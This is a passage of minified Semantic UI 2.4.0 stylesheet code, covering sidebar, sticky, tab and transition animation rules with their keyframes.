ease}.ui.visible.slide.along.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.slide.out.sidebar{z-index:1}.ui.left.slide.out.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.right.slide.out.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.top.slide.out.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.bottom.slide.out.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.animating.slide.out.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.out.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.scale.down.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.scale.down.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.scale.down.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.scale.down.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.scale.down.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.scale.down.left.sidebar~.pusher{-webkit-transform-origin:75% 50%;transform-origin:75% 50%}.ui.scale.down.right.sidebar~.pusher{-webkit-transform-origin:25% 50%;transform-origin:25% 50%}.ui.scale.down.top.sidebar~.pusher{-webkit-transform-origin:50% 75%;transform-origin:50% 75%}.ui.scale.down.bottom.sidebar~.pusher{-webkit-transform-origin:50% 25%;transform-origin:50% 25%}.ui.animating.scale.down>.visible.ui.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.animating.scale.down.sidebar~.pusher,.ui.visible.scale.down.sidebar~.pusher{display:block!important;width:100%;height:100%;overflow:hidden!important}.ui.visible.scale.down.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.scale.down.sidebar~.pusher{-webkit-transform:scale(.75);transform:scale(.75)}/*! + * # Semantic UI 2.4.0 - Sticky + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.sticky{position:static;-webkit-transition:none;transition:none;z-index:800}.ui.sticky.bound{position:absolute;left:auto;right:auto}.ui.sticky.fixed{position:fixed;left:auto;right:auto}.ui.sticky.bound.top,.ui.sticky.fixed.top{top:0;bottom:auto}.ui.sticky.bound.bottom,.ui.sticky.fixed.bottom{top:auto;bottom:0}.ui.native.sticky{position:-webkit-sticky;position:-moz-sticky;position:-ms-sticky;position:-o-sticky;position:sticky}/*! + * # Semantic UI 2.4.0 - Tab + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.tab{display:none}.ui.tab.active,.ui.tab.open{display:block}.ui.tab.loading{position:relative;overflow:hidden;display:block;min-height:250px}.ui.tab.loading *{position:relative!important;left:-10000px!important}.ui.tab.loading.segment:before,.ui.tab.loading:before{position:absolute;content:'';top:100px;left:50%;margin:-1.25em 0 0 -1.25em;width:2.5em;height:2.5em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.tab.loading.segment:after,.ui.tab.loading:after{position:absolute;content:'';top:100px;left:50%;margin:-1.25em 0 0 -1.25em;width:2.5em;height:2.5em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent}/*! + * # Semantic UI 2.4.0 - Transition + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.transition{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-timing-function:ease;animation-timing-function:ease;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animating.transition{-webkit-backface-visibility:hidden;backface-visibility:hidden;visibility:visible!important}.loading.transition{position:absolute;top:-99999px;left:-99999px}.hidden.transition{display:none;visibility:hidden}.visible.transition{display:block!important;visibility:visible!important}.disabled.transition{-webkit-animation-play-state:paused;animation-play-state:paused}.looping.transition{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.transition.browse{-webkit-animation-duration:.5s;animation-duration:.5s}.transition.browse.in{-webkit-animation-name:browseIn;animation-name:browseIn}.transition.browse.left.out,.transition.browse.out{-webkit-animation-name:browseOutLeft;animation-name:browseOutLeft}.transition.browse.right.out{-webkit-animation-name:browseOutRight;animation-name:browseOutRight}@-webkit-keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@-webkit-keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@-webkit-keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}.drop.transition{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-duration:.4s;animation-duration:.4s;-webkit-animation-timing-function:cubic-bezier(.34,1.61,.7,1);animation-timing-function:cubic-bezier(.34,1.61,.7,1)}.drop.transition.in{-webkit-animation-name:dropIn;animation-name:dropIn}.drop.transition.out{-webkit-animation-name:dropOut;animation-name:dropOut}@-webkit-keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}@keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}.transition.fade.in{-webkit-animation-name:fadeIn;animation-name:fadeIn}.transition[class*="fade up"].in{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}.transition[class*="fade down"].in{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}.transition[class*="fade left"].in{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}.transition[class*="fade right"].in{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}.transition.fade.out{-webkit-animation-name:fadeOut;animation-name:fadeOut}.transition[class*="fade up"].out{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}.transition[class*="fade down"].out{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}.transition[class*="fade left"].out{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}.transition[class*="fade right"].out{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}@keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}.flip.transition.in,.flip.transition.out{-webkit-animation-duration:.6s;animation-duration:.6s}.horizontal.flip.transition.in{-webkit-animation-name:horizontalFlipIn;animation-name:horizontalFlipIn}.horizontal.flip.transition.out{-webkit-animation-name:horizontalFlipOut;animation-name:horizontalFlipOut}.vertical.flip.transition.in{-webkit-animation-name:verticalFlipIn;animation-name:verticalFlipIn}.vertical.flip.transition.out{-webkit-animation-name:verticalFlipOut;animation-name:verticalFlipOut}@-webkit-keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@-webkit-keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@-webkit-keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@-webkit-keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}@keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}.scale.transition.in{-webkit-animation-name:scaleIn;animation-name:scaleIn}.scale.transition.out{-webkit-animation-name:scaleOut;animation-name:scaleOut}@-webkit-keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}@keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}.transition.fly{-webkit-animation-duration:.6s;animation-duration:.6s;-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1)}.transition.fly.in{-webkit-animation-name:flyIn;animation-name:flyIn}.transition[class*="fly up"].in{-webkit-animation-name:flyInUp;animation-name:flyInUp}.transition[class*="fly down"].in{-webkit-animation-name:flyInDown;animation-name:flyInDown}.transition[class*="fly left"].in{-webkit-animation-name:flyInLeft;animation-name:flyInLeft}.transition[class*="fly right"].in{-webkit-animation-name:flyInRight;animation-name:flyInRight}.transition.fly.out{-webkit-animation-name:flyOut;animation-name:flyOut}.transition[class*="fly up"].out{-webkit-animation-name:flyOutUp;animation-name:flyOutUp}.transition[class*="fly down"].out{-webkit-animation-name:flyOutDown;animation-name:flyOutDown}.transition[class*="fly left"].out{-webkit-animation-name:flyOutLeft;animation-name:flyOutLeft}.transition[class*="fly right"].out{-webkit-animation-name:flyOutRight;animation-name:flyOutRight}@-webkit-keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@-webkit-keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@-webkit-keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@-webkit-keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@-webkit-keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@-webkit-keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.transition.slide.in,.transition[class*="slide down"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center left;transform-origin:center left}.transition.slide.out,.transition[class*="slide down"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center left;transform-origin:center left}@-webkit-keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@-webkit-keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}@keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}.transition.swing{-webkit-animation-duration:.8s;animation-duration:.8s}.transition[class*="swing down"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center left;transform-origin:center left}.transition.swing.out,.transition[class*="swing down"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center left;transform-origin:center left}@-webkit-keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@-webkit-keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) 